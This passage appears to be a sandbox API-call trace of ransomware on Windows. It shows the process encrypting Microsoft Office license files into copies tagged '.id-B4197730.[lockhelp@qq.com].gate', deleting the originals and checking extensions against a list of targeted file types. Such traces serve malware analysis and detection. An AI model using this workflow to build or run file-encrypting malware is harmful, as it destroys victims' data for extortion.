lpOverlapped=0x0) returned 1 [0314.794] ReadFile (in: hFile=0x4b8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0314.794] WriteFile (in: hFile=0x4c4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x10a, lpOverlapped=0x0) returned 1 [0314.794] SetEndOfFile (hFile=0x4c4) returned 1 [0314.808] CloseHandle (hObject=0x4c4) returned 1 [0314.808] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0314.808] SetEndOfFile (hFile=0x4b8) returned 1 [0314.917] CloseHandle (hObject=0x4b8) returned 1 [0314.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0314.920] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms")) returned 1 [0314.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0314.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0314.920] lstrlenW (lpString=".doc") returned 4 [0314.920] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0314.920] lstrlenW (lpString=".docx") returned 5 [0314.920] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0314.920] lstrlenW (lpString=".pdf") returned 4 [0314.920] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0314.920] lstrlenW (lpString=".xls") returned 4 [0314.920] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0314.920] lstrlenW (lpString=".xlsx") returned 5 [0314.920] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0314.920] lstrlenW (lpString=".ppt") returned 4 [0314.921] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0314.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0314.921] lstrlenW (lpString=".zip") returned 4 [0314.921] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0314.921] lstrlenW (lpString=".rar") returned 4 [0314.921] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0314.921] lstrlenW (lpString=".bz2") returned 4 [0314.921] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0314.921] lstrlenW (lpString=".7z") returned 3 [0314.921] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0314.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0314.921] lstrlenW (lpString=".dbf") returned 4 [0314.921] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0314.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0314.921] lstrlenW (lpString=".1cd") returned 4 [0314.921] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0314.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0314.921] lstrlenW (lpString=".jpg") returned 4 [0314.924] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0314.924] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=6794) returned 1 [0314.924] CloseHandle (hObject=0x4b8) returned 1 [0314.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms")) returned 0x220 [0314.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0314.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0314.925] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0314.925] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0314.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0314.926] GetLastError () returned 0x0 [0314.926] ReadFile (in: hFile=0x4b8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x1a8a, lpOverlapped=0x0) returned 1 [0314.968] WriteFile (in: hFile=0x494, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x1a90, lpOverlapped=0x0) returned 1 [0314.969] ReadFile (in: hFile=0x4b8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0314.969] WriteFile (in: hFile=0x494, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x110, lpOverlapped=0x0) returned 1 [0314.969] SetEndOfFile (hFile=0x494) returned 1 [0314.970] CloseHandle (hObject=0x494) returned 1 [0314.970] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0314.970] SetEndOfFile (hFile=0x4b8) returned 1 [0314.972] CloseHandle (hObject=0x4b8) returned 1 [0314.972] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0314.972] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms")) returned 1 [0314.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0314.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0314.973] lstrlenW (lpString=".doc") returned 4 [0314.973] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0314.973] lstrlenW (lpString=".docx") returned 5 [0314.973] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0314.973] lstrlenW (lpString=".pdf") returned 4 [0314.973] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0314.973] lstrlenW (lpString=".xls") returned 4 [0314.973] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0314.973] lstrlenW (lpString=".xlsx") returned 5 [0314.973] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0314.973] lstrlenW (lpString=".ppt") returned 4 [0314.973] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0314.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0314.973] lstrlenW (lpString=".zip") returned 4 [0314.974] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0314.974] lstrlenW (lpString=".rar") returned 4 [0314.974] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0314.974] lstrlenW (lpString=".bz2") returned 4 [0314.974] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0314.974] lstrlenW (lpString=".7z") returned 3 [0314.974] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0314.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0314.974] lstrlenW (lpString=".dbf") returned 4 [0314.974] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0314.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0314.974] lstrlenW (lpString=".1cd") returned 4 [0314.974] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0314.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0314.974] lstrlenW (lpString=".jpg") returned 4 [0314.974] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0314.974] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=6729) returned 1 [0314.974] CloseHandle (hObject=0x4b8) returned 1 [0314.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms")) returned 0x220 [0314.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0314.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0314.975] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0314.976] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0314.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0314.976] GetLastError () returned 0x0 [0314.976] ReadFile (in: hFile=0x4b8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x1a49, lpOverlapped=0x0) returned 1 [0315.023] WriteFile (in: hFile=0x494, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x1a50, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x1a50, lpOverlapped=0x0) returned 1 [0315.024] ReadFile (in: hFile=0x4b8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0315.024] WriteFile (in: hFile=0x494, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x102, lpOverlapped=0x0) returned 1 [0315.024] SetEndOfFile (hFile=0x494) returned 1 [0315.024] CloseHandle (hObject=0x494) returned 1 [0315.024] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.024] SetEndOfFile (hFile=0x4b8) returned 1 [0315.027] CloseHandle (hObject=0x4b8) returned 1 [0315.028] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.028] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms")) returned 1 [0315.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0315.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0315.029] lstrlenW (lpString=".doc") returned 4 [0315.029] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0315.029] lstrlenW (lpString=".docx") returned 5 [0315.029] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0315.029] lstrlenW (lpString=".pdf") returned 4 [0315.029] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0315.029] lstrlenW (lpString=".xls") returned 4 [0315.029] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0315.029] lstrlenW (lpString=".xlsx") returned 5 [0315.029] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0315.029] lstrlenW (lpString=".ppt") returned 4 [0315.029] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0315.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0315.029] lstrlenW (lpString=".zip") returned 4 [0315.029] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0315.029] lstrlenW (lpString=".rar") returned 4 [0315.029] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0315.030] lstrlenW (lpString=".bz2") returned 4 [0315.030] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0315.030] lstrlenW (lpString=".7z") returned 3 [0315.030] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0315.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0315.030] lstrlenW (lpString=".dbf") returned 4 [0315.030] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0315.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0315.030] lstrlenW (lpString=".1cd") returned 4 [0315.030] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0315.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0315.030] lstrlenW (lpString=".jpg") returned 4 [0315.030] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0315.030] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=3211) returned 1 [0315.030] CloseHandle (hObject=0x4b8) returned 1 [0315.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms")) returned 0x220 [0315.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0315.031] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.031] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0315.032] GetLastError () returned 0x0 [0315.032] ReadFile (in: hFile=0x4b8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0xc8b, lpOverlapped=0x0) returned 1 [0315.093] WriteFile (in: hFile=0x494, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xc90, lpOverlapped=0x0) returned 1 [0315.093] ReadFile (in: hFile=0x4b8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0315.093] WriteFile (in: hFile=0x494, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x11c, lpOverlapped=0x0) returned 1 [0315.094] SetEndOfFile (hFile=0x494) returned 1 [0315.094] CloseHandle (hObject=0x494) returned 1 [0315.094] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.094] SetEndOfFile (hFile=0x4b8) returned 1 [0315.096] CloseHandle (hObject=0x4b8) returned 1 [0315.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.097] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms")) returned 1 [0315.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0315.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0315.098] lstrlenW (lpString=".doc") returned 4 [0315.098] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0315.098] lstrlenW (lpString=".docx") returned 5 [0315.098] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0315.098] lstrlenW (lpString=".pdf") returned 4 [0315.098] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0315.098] lstrlenW (lpString=".xls") returned 4 [0315.098] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0315.098] lstrlenW (lpString=".xlsx") returned 5 [0315.098] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0315.098] lstrlenW (lpString=".ppt") returned 4 [0315.098] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0315.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0315.098] lstrlenW (lpString=".zip") returned 4 [0315.098] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0315.098] lstrlenW (lpString=".rar") returned 4 [0315.098] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0315.098] lstrlenW (lpString=".bz2") returned 4 [0315.098] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0315.099] lstrlenW (lpString=".7z") returned 3 [0315.099] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0315.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0315.099] lstrlenW (lpString=".dbf") returned 4 [0315.099] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0315.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0315.099] lstrlenW (lpString=".1cd") returned 4 [0315.099] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0315.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0315.099] lstrlenW (lpString=".jpg") returned 4 [0315.099] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0315.100] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=3103) returned 1 [0315.100] CloseHandle (hObject=0x4b8) returned 1 [0315.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms")) returned 0x220 [0315.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0315.100] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.100] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0315.101] GetLastError () returned 0x0 [0315.101] ReadFile (in: hFile=0x4b8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0xc1f, lpOverlapped=0x0) returned 1 [0315.114] WriteFile (in: hFile=0x494, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xc20, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xc20, lpOverlapped=0x0) returned 1 [0315.115] ReadFile (in: hFile=0x4b8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0315.115] WriteFile (in: hFile=0x494, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x10a, lpOverlapped=0x0) returned 1 [0315.115] SetEndOfFile (hFile=0x494) returned 1 [0315.115] CloseHandle (hObject=0x494) returned 1 [0315.115] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.115] SetEndOfFile (hFile=0x4b8) returned 1 [0315.117] CloseHandle (hObject=0x4b8) returned 1 [0315.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.118] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms")) returned 1 [0315.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0315.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0315.118] lstrlenW (lpString=".doc") returned 4 [0315.118] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0315.118] lstrlenW (lpString=".docx") returned 5 [0315.119] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0315.119] lstrlenW (lpString=".pdf") returned 4 [0315.119] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0315.119] lstrlenW (lpString=".xls") returned 4 [0315.119] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0315.119] lstrlenW (lpString=".xlsx") returned 5 [0315.119] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0315.119] lstrlenW (lpString=".ppt") returned 4 [0315.119] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0315.119] lstrlenW (lpString="C:\\Program 